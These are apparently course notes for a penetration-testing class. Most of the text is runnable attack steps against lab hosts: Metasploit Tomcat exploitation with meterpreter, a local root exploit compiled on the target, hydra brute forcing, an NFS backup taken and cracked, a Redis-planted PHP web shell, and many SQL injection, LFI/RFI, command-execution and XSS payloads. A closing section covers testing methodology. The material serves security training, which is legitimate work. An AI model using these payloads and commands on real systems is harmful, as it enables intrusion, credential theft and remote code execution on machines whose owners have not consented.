 perl nikto.pl -update
 
 perl nikto.pl -h 10.0.0.120
 
 perl nikto.pl -h 10.0.0.120:8080
 
 perl nikto.pl -h 10.0.0.120:8081
 
 perl nikto.pl -h 10.0.0.120:9000
 
 
 
 
 ####################
 # Using Metasploit #
 ####################
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/http/http_version
 
 set RHOSTS 10.0.0.120
 
 set RPORT 8080
 
 run
 
 
 -------------------------------
 
 use auxiliary/scanner/http/tomcat_enum
 
 set RHOSTS 10.0.0.120
 
 set RPORT 8080
 
 run
 
 
 
 
 
 ####################
 # Attacking Tomcat #
 ####################
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/http/http_version
 
 set RHOSTS 10.0.0.120
 
 set RPORT 8080
 
 run
 
 
 
 
 
 use auxiliary/scanner/http/tomcat_mgr_login
 
 set USERNAME tomcat
 
 set USERPASS_FILE /home/infosecaddicts/list.txt
 
 set STOP_ON_SUCCESS true
 
 set RHOSTS 10.0.0.120
 
 set RPORT 8080
 
 run
 
 
 
 
 use exploit/multi/http/tomcat_mgr_upload
 
 set USERNAME tomcat
 
 set PASSWORD tomcat
 
 set RHOST 10.0.0.120
 
 set RPORT 8080
 
 set PATH /manager/html
 
 set PAYLOAD java/meterpreter/bind_tcp
 
 exploit
 
 
 run post/linux/gather/checkvm
 
 run post/linux/gather/enum_configs
 
 run post/linux/gather/enum_protections
 
 run post/linux/gather/enum_system
 
 run post/linux/gather/enum_users_history
 
 run post/linux/gather/hashdump
 
 shell
 
 /bin/bash
 
 id
 
 uname -a
 
 dpkg -l
 
 cd /tmp
 
 pwd
 
 
 cat >> exploit.c << out
 
 **************paste in the content from here *****************
 https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c
 
 
 ------ hit enter a few times ------
 
 ------ then type 'out' ----- this closes the file handle...
 
 
 gcc -o boom exploit.c
 
 ./boom
 
 id
 
 
 -------------------------------
 
 
 hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 10.0.0.140 http-get /manager/html
 
 
 
 
 
 #################
 # Attacking FTP #
 #################
 
 sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.120
      infosecaddicts
 
 cd ~/toolz/hydra
 
 hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 10.0.0.120 ftp
 
 ftp
 open 10.0.0.120
 admin
 admin
 pwd
 ls -lah
 
 ls ../../
 
 
 #################
 # Attacking SSH #
 #################
 cd ~/toolz/hydra
 
 hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 10.0.0.120 ssh
 
 ssh -p 1322 admin@10.0.0.120
 
 
 
 
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/ssh/ssh_users
 
 set USER_FILE /home/infosecaddicts/list.txt
 
 set STOP_ON_SUCCESS true
 
 set RHOSTS 10.0.0.120
 
 set RPORT 1322
 
 run
 
 
 
 
 
 use auxiliary/scanner/ssh/ssh_login
 
 set USER_FILE /home/infosecaddicts/list.txt
 
 set PASS_FILE /home/infosecaddicts/list.txt
 
 set STOP_ON_SUCCESS true
 
 set RHOSTS 10.0.0.120
 
 set RPORT 1322
 
 run
 
 
 sessions -l
 
 sessions -u 1
 
 sessions -i 1
 
 id
 
 
 
 
 #################
 # Attacking NFS #
 #################
 rpcinfo -s 10.0.0.120
 
 showmount -e 10.0.0.120
 
 mount -t nfs 10.0.0.120:/backup /tmp/nfs -o nolock
 
 ls /tmp/nfs
 
 cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts
 umount -l /tmp/nfs
 
 sudo apt-cache search fcrackzip
      infosecaddicts
 
 sudo apt install -y fcrackzip
      infosecaddicts
 
 fcrackzip -D -p /home/infosecaddicts/list.txt
 
 unzip -P aaaaaa backup.tar.bz2.zip
 
 tar -zxvf backup.tar.bz2
 
 
 ###################
 # Attacking Redis #
 ###################
 sudo nmap -p 6379 --script=redis-info 10.0.0.120
 	infosecaddicts
 
 sudo apt install -y redis-tools
 	infosecaddicts
 
 redis-cli -h 10.0.0.120
 
 CONFIG SET dir /var/www/html/main
 
 CONFIG GET dir
 
 config set dbfilename bomba.php
 
 CONFIG GET dbfilename
 
 SET cmd "<?php system($_GET['joe']); ?>"
 
 BGSAVE
 
 http://10.0.0.120/bomba.php
 
 http://10.0.0.120/bomba.php?joe=id
 
 
 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"
 
 
 
 
 
 ##########
 # Day 4: #
 ##########
 
 
 http://10.0.0.9/login.aspx
 
 I entered a single quote (') for both the user name and the password. I got the following error:
 
 -----------------------------------------------------------------
  'Users//User[@Name=''' and @Password=''']' has an invalid token.
 Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
 
 Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
 
 Source Error:
 
 
 Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
 Line 113:            string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
 Line 114:            XmlNodeList xmln = doc.SelectNodes(credential);
 Line 115:            //String test = xmln.ToString();
 Line 116:            if (xmln.Count > 0)
 
 -----------------------------------------------------------------
 
 
 Hmm....System.Xml.XPath.XPathException.....that's not SQL.
 
 WTF is this:
 Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
 
 
 Let's check it out:
 http://10.0.0.9/AuthInfo.xml
 
 Looks like we found passwords!!!!!!!!!!
 
 
 Looks like there no significant new functionality after logging in with the stolen credentials.
 
 Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
 
 
 http://10.0.0.9/bookdetail.aspx?id=2
 
 
 Ok, there is parameter passing (bookdetail.aspx?id=2).
 
 The page name is:		bookdetail.aspx
 The parameter name is:		id
 The paramber value is:		2
 
 
 Let's try throwing a single quote (') in there:
 
 http://10.0.0.9/bookdetail.aspx?id=2'
 
 
 I get the following error:
 
 Unclosed quotation mark after the character string ''.
 Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
 
 Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
 
 
 
 #############################################################################
 # SQL Injection                                                             #
 # https://s3.amazonaws.com/infosecaddicts-Files/1-Intro_To_SQL_Intection.pptx #
 #############################################################################
 
 
 - Another quick way to test for SQLI is to remove the paramter value
 
 
 #############################
 # Error-Based SQL Injection #
 #############################
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--
 	**** NOTE: "N" - just means to keep going until you run out of databases ****
 
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
 
 
 
 
 #############################
 # Union-Based SQL Injection #
 #############################
 http://10.0.0.9/bookdetail.aspx?id=2 order by 100--
 http://10.0.0.9/bookdetail.aspx?id=2 order by 50--
 http://10.0.0.9/bookdetail.aspx?id=2 order by 25--
 http://10.0.0.9/bookdetail.aspx?id=2 order by 10--
 http://10.0.0.9/bookdetail.aspx?id=2 order by 5--
 http://10.0.0.9/bookdetail.aspx?id=2 order by 6--
 http://10.0.0.9/bookdetail.aspx?id=2 order by 7--
 http://10.0.0.9/bookdetail.aspx?id=2 order by 8--
 http://10.0.0.9/bookdetail.aspx?id=2 order by 9--
 http://10.0.0.9/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
 
 	We are using a union select statement because we are joining the developer's query with one of our own.
 	Reference:
 	http://www.techonthenet.com/sql/union.php
 	The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
 	It removes duplicate rows between the various SELECT statements.
 
 	Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 
 http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
 
 	Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
 
 http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
 http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
 http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
 http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
 
 
 
 
 
 - Another way is to see if you can get the backend to perform an arithmetic function
 http://10.0.0.9/bookdetail.aspx?id=(2)
 http://10.0.0.9/bookdetail.aspx?id=(4-2)
 http://10.0.0.9/bookdetail.aspx?id=(4-1)
 
 
 
 http://10.0.0.9/bookdetail.aspx?id=2 or 1=1--
 http://10.0.0.9/bookdetail.aspx?id=2 or 1=2--
 http://10.0.0.9/bookdetail.aspx?id=1*1
 http://10.0.0.9/bookdetail.aspx?id=2 or 1 >-1#
 http://10.0.0.9/bookdetail.aspx?id=2 or 1<99#
 http://10.0.0.9/bookdetail.aspx?id=2 or 1<>1#
 http://10.0.0.9/bookdetail.aspx?id=2 or 2 != 3--
 http://10.0.0.9/bookdetail.aspx?id=2 &0#
 
 
 
 
 
 ###############################
 # Blind SQL Injection Testing #
 ###############################
 Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
 
 3 - Total Characters
 http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
 http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
 http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 		(Ok, the username is 3 chars long - it waited 10 seconds)
 
 Let's go for a quick check to see if it's DBO
 http://10.0.0.9/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
 
 Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
 
 D  - 1st Character
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 	(Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
 
 B - 2nd Character
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 
 O - 3rd Character
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
 
 
 
 ##########
 # Sqlmap #
 ##########
 If you want to see how we automate all of the SQL Injection attacks you can log into your infosecaddicts-Ubuntu-VM and run the following commands:
 
 cd /home/infosecaddicts/toolz/sqlmap-dev/
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -b
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --current-user
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --current-db
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --dbs
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp --tables
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
 python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --users --passwords
 
 
 
 
 
 
 Ok, now let's have some real fun!
 
 Go to the address below in firefox:
 http://10.0.0.9/bookdetail.aspx?id=2;exec+master..xp_cmdshell+'ping -n 8 127.0.0.1'--
 
 
 
 #######################
 # Attacking PHP/MySQL #
 #######################
 
 Go to LAMP Target homepage
 http://54.172.112.249/
 
 
 
 Clicking on the Acer Link:
 http://54.172.112.249/acre2.php?lap=acer
 
     - Found parameter passing (answer yes to question 1)
     - Insert ' to test for SQLI
 
 http://54.172.112.249/acre2.php?lap=acer'
 
 
 Page returns the following error:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
 
 
 
 In order to perform union-based sql injection - we must first determine the number of columns in this query.
 We do this using the ORDER BY
 http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
 
 Page returns the following error:
 Unknown column '100' in 'order clause'
 
 
 
 http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
 
 Page returns the following error:
 Unknown column '50' in 'order clause'
 
 
 
 http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
 Page returns the following error:
 Unknown column '25' in 'order clause'
 
 
 
 http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
 
 Page returns the following error:
 Unknown column '50' in 'order clause'
 
 
 
 http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
 ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
 
 
 
 Now we build out the union all select statement with the correct number of columns
 
 Reference:
 http://www.techonthenet.com/sql/union.php
 
 
 
 http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
 
 
 
 Now we negate the parameter value 'acer' by turning into the word 'null':
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
 
 We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
 
 
 Use a cheat sheet for syntax:
 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
 
 
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
 
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
 
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
 
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
 
 
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
 
 
 
 
 Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
 http://54.172.112.249/showfile.php?filename=about.txt
 
 
 
 See if you can read files on the file system:
 http://54.172.112.249/showfile.php?filename=/etc/passwd
 
 We call this attack a Local File Include or LFI.
 
 Now let's find some text out on the internet somewhere:
 http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
 
 
 Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
 http://54.172.112.249/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
 
 
 -----------------Some Automated Testing from the infosecaddicts VM-----------------
 
 ##################################################
 # You can download the virtual machine from here #
 ##################################################
 https://s3.amazonaws.com/infosecaddicts-VMs/infosecaddictsUbuntu-v3.zip
 user: infosecaddicts
 pass: infosecaddicts
 
 
 
 cd /home/infosecaddicts/toolz/sqlmap-dev/
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" -b -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-user -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
 
 
 
 
 
 
 
 #########################################
 # Let's kick it up a notch with ASP.NET #
 # http://10.0.0.121/                    #
 #########################################
 
 
 The trading Web App is on http://10.0.0.121/
 
 
 Try the following in the search box:
     <script>alert(123);</script>
     ' or 1=1
     ' and a=a
     1=1
     Joe'+OR+1=1;--
 
 
     <script>alert(123);</script>
 
 Open a new tab in firefox and try this:
     http://10.0.0.121/Searchresult.aspx?<script>alert(123);</script>=ScriptName
 
 
 Try the contact us form.
 Open a new tab in firefox and try this:
     http://10.0.0.121/OpenPage.aspx?filename=../../../../../../windows/win.ini
 
 Try this on the inquiry form:
     Joe McCray
     1234567890
     joe@strategicsec.com') waitfor delay '00:00:10'--
 
 
 Login Box:
 
     ' or 1=1 or ''='
     anything            (click login instead of pressing enter)
 
 
 
 Tamper Data: (notice 2 session IDs)
 
     AcmeTrading=a4b796687b846dd4a34931d708c62b49;       SessionID is md5
     IsAdmin=yes;
     ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
 
 
 
 Profile - Detail    (tamper data)
     Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
     joe|set
 
 
     xss_upload.txt (Upload Bulk Order)
     <script>alert(123);</script>
 
 
 
 ############################
 # Trading Web App with WAF #
 # http://10.0.0.94    #
 ############################
 
 
 Try the following in the search box:
     <script>alert(123);</script>
     <script>alert(123);</script
     <script>alert(123)
     <script>alert
     <script>
     <script
     <scrip
     <scri
     <scr
     <sc
     <s
     <p
     <
     < s
     Joe'+OR+1=1;--
 
 
 Open a new tab in firefox and try this:
     http://10.0.0.94/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
 
 
     xss_upload.txt (Upload Bulk Order)
     <script>alert(123);</script>
 
 
 Login Box:
 
     ' or 1=1 or ''='
     anything
 
 
 
 Tamper Data: (notice 2 session IDs)
 
     AcmeTrading=a4b796687b846dd4a34931d708c62b49;       SessionID is md5
     IsAdmin=yes;
     ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
 
 
 
 Profile - Detail    (tamper data)
     Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
     joe|set
 
 
 
 
 
 
 
 ###########################################################
 # Attacking an Oracle/JSP based WebApp with SQL Injection #
 ###########################################################
 
 
 
 
 
 http://10.0.0.23:8081/bookcompany/
 
 
 user:   a' OR 'a'='a
 pass:   a' OR 'a'='a
 
 
 
 
 
 
 
 http://10.0.0.23:8081/bookcompany/author.jsp?id=111
 
 
 [ Search by Username ]  Joe' OR 'a'='a
 
 
 
 
 
 
 
 
 
 
 
 
 http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1
 
 
 
 http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
 
 
 
 
 
 
 
 
 
 
 
 http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
 
 
 Host is running:
 
 
 
 
 
 http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
 
 User is:
 
 
 
 
 
 http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
 
 Current database is:
 
 
 cd /home/infosecaddicts/toolz/sqlmap-dev/
 python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" -b
 python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --current-user
 python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --current-db
 python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --dbs
 python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --users --passwords
 	Y
 	1
 
 
 
 ###############################################################
 # Question 1: What is the process that you use when you test? #
 ###############################################################
 
 Step 1: Automated Testing
 
 Step 1a: Web Application vulnerability scanners
 -----------------------------------------------
 - Run two (2) unauthenticated vulnerability scans against the target
 - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
 - Run two (2) authenticated vulnerability scans against the target with admin privileges
 
 The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
 
 A good web application vulnerability scanner comparison website is here:
 http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
 
 
 Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
 
 When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
 
 
 Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
 
 
 Also, be sure to save the scan results and logs. I usually provide this data to the customer.
 
 
 
 Step 1b: Directory Brute Forcer
 -------------------------------
 I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
 
 
 
 Step 2: Manual Testing
 
 Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
 
 Step 2a: Spider/Scan the entire site with Burp Suite
 Save the spider and scan results. I usually provide this data to the customer as well.
 
 
 Step 2b: Browse through the site using the 3 question method
 Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
 
 Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
 
 Here is what I mean:
 http://www.site.com/page.aspx?parametername=parametervalue
 
 When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
 
 http://www.site.com/page.aspx?parametername=[ payload ]
 
 You need to ensure that you send the payload this way, and like this below:
 
 http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
 
 This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
 
 
 
 
 
 
 
 ###########################################
 # Question 2: How much fuzzing is enough? #
 ###########################################
 There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
 
 Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
 
 
 Step 1: Ask yourself the 3 questions per page of the site.
 
 Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
 
 Step 3: When you load your fuzz strings - use the following decision tree
 
     - Are the fuzz strings causing a default error message (example 404)?
         - If this is the case then it is most likely NOT vulnerable
 
     - Are the fuzz strings causing a WAF or LB custom error message?
         - If this is the case then you need to find an encoding method to bypass
 
 
     - Are the fuzz strings causing an error message that discloses the backend type?
         - If yes, then identify DB type and find correct syntax to successfully exploit
         - Some example strings that I use are:
             '
             "
             ()          <----- Take the parameter value and put it in parenthesis
             (5-1)       <----- See if you can perform an arithmetic function
 
 
     - Are the fuzz strings rendering executable code?
         - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
         - Some example strings that I use are:
             <b>hello</b>
             <u>hello</u>
             <script>alert(123);</script>
             <script>alert(xss);</script>
             <script>alert('xss');</script>
             <script>alert("xss");</script>
 
 
 
 
 
 ************************ Class Challenge ************************
 
 Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
 
 Here are some sample web app penetration test reports from other companies that you can look at:
 https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip
 
 I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
 
 
 
 
 
 #########
 # Day 5 #
 #########
 
 Today you finally get the chance to take a step into the world of penetration testing.
 
 
 Day 5 Task 1
 We'll start by having your do a job interview for the position of junior penetration tester. Here are the questions:
 https://goo.gl/forms/l2cMNg1F50kLQsHG2
 
 
 
 Day 5 Task 2
 Create an OSINT report on the retail company TARGET. You'll all work together on this and put together as thorough of a report as possible.
 You'll each be given access to the Googele Drive where all of the resources to complete this task are located.
 
 
 
 
 Day 5 Task 3
 Use nmap to map the target network (10.0.0.0/24).
 
 Task 3a) Identify the number of reachable hosts.
 
 Task 3b) Identify the number of open ports per hosts.
 
 Task 3c) Identify the software versions of each application running on each exposed port on each host in the environment.
 
 Task 3d) Identify the vulnerable services on each host in the target network along with their exploit-db.com ID number
 
 Task 3e) Put all of this information into a spreadsheet in the Google Drive folder
 
 
 
 
 Day 5 Task 4
 Use DirBuster to go afer at least 3 servers in the target network (10.0.0.0/24).
 
 Reference:
 http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php
 
 
 
 
 Day 5 Task 5
 Populate the findings spreadsheet with as much detail as possible